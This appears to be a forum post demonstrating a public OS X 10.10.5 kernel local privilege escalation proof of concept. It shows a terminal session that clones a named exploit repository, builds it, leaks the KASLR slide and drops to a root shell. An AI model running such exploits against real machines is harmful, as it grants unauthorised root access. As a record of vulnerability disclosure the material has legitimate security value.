OS X 10.10.5 kernel local privilege escalation
$ git clone <a href="https://github.com/kpwn/tpwn.git" rel="nofollow">https://github.com/kpwn/tpwn.git</a><p>Cloning into 'tpwn'...<p>remote: Counting objects: 16, done.<p>remote: Compressing objects: 100% (11/11), done.<p>remote: Total 16 (delta 3), reused 16 (delta 3), pack-reused 0<p>Unpacking objects: 100% (16/16), done.<p>Checking connectivity... done.<p>$ cd tpwn<p>$ make<p>gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3<p>strip tpwn<p>$ ./tpwn<p>leaked kaslr slide, @ 0x0000000008e00000<p>sh-3.2# whoami<p>root<p>sh-3.2#<p>Shit's real.<p>Edit: for those of you wondering, no, I didn't just run this willy-nilly.  I read the code thoroughly and determined there were no side-effects aside from just the PoC dropping to a root shell.